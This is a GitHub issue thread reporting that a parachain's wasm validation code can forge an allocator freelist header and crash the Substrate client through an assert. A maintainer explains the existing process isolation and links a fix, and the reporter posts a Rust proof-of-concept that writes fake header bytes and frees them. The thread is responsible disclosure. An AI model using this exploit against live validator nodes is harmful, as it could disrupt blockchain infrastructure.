PVF could assert! the client by crafting a FreeingBumpHeapAllocator freelist header

[feliam]

The PVF (untrusted?) can manipulate the headers of the freelist from wasm and trick the client into asserting this: https://github.com/paritytech/substrate/blob/a9f67d0e59fc388c97efe8b1e6b2f928fae85b19/client/allocator/src/freeing_bump.rs#L424-L427

[bkchr]

Hey, ty for the report! The PVF execution is already done in a separate process to ensure that if anything bad happens, we don't bring down the validator. Secondly, we already catch panics around host functions and that would also catch this panic and the worker would see this as Error from the wasm execution. Nevertheless, I have created a PR to change this into an error: https://github.com/paritytech/substrate/pull/13925

[feliam]

Awesome!

Yes I tried it on my side. The validator seems to keep running no problem and the collator is eventually slashed. One less "qed;"

use crate::{hash, BlockData, HeadData};
use core::panic;
use parity_scale_codec::{Decode, Encode};
use polkadot_parachain::primitives::{HeadData as GenericHeadData, ValidationResult};
use sp_std::vec::Vec;
use sp_io::allocator::{malloc, free};
#[no_mangle]
pub extern "C" fn validate_block(params: *const u8, len: usize) -> u64 {
    let params = unsafe { polkadot_parachain::load_params(params, len) };
    let parent_head =
        HeadData::decode(&mut &params.parent_head.0[..]).expect("invalid parent head format.");

    let block_data =
        BlockData::decode(&mut &params.block_data.0[..]).expect("invalid block data format.");

    let parent_hash = hash(&params.parent_head.0[..]);

    let new_head = crate::execute(parent_hash, parent_head, &block_data).expect("Executes block");

    let mut ptr: *mut u8 = 0 as  *mut u8;
    let size = 30*1024*1024;

    // Allocate 128 M
    let ptr_dummy1 = malloc(size);
    let ptr_dummy2 = malloc(size);
    let ptr_dummy3 = malloc(size);
    let ptr_dummy4 = malloc(size);
    let mut ptr = ptr_dummy4;

    //free first 32M*3
    //free(ptr_dummy3);
    //free(ptr_dummy2);
    //free(ptr_dummy1);

    // build a fake header at the end of the ~128M memory
    unsafe {
        let ptr_copy = (ptr as u32) + size;

        let mut ptr2 = ( ptr_copy - 8 ) as u32 ;
        *(ptr2 as  *mut u8)  = 0x16;
        ptr2 += 1;
        *(ptr2 as  *mut u8)  = 0x00;
        ptr2 += 1;
        *(ptr2 as  *mut u8)  = 0x00;
        ptr2 += 1;
        *(ptr2 as  *mut u8)  = 0x00;
        ptr2 += 1;
        *(ptr2 as  *mut u8)  = 0x01;
        ptr2 += 1;
        *(ptr2 as  *mut u8)  = 0x00;
        ptr2 += 1;
        *(ptr2 as  *mut u8)  = 0x00;
        ptr2 += 1;
        *(ptr2 as  *mut u8)  = 0x00;

        //*(ptr as  *mut u64) = 0x00000001_00000017;
        ptr = ptr_copy as  *mut u8 ;
    }
    // free the fake header
    free(ptr);

    // allock againn same order (it assumes correct header was freed)
    ptr = malloc(size);

    polkadot_parachain::write_result(&ValidationResult {
        head_data: GenericHeadData(new_head.encode()),
        new_validation_code: None,
        upward_messages: sp_std::vec::Vec::new(),
        horizontal_messages: sp_std::vec::Vec::new(),
        processed_downward_messages: 0,
        hrmp_watermark: params.relay_parent_number,
    })
}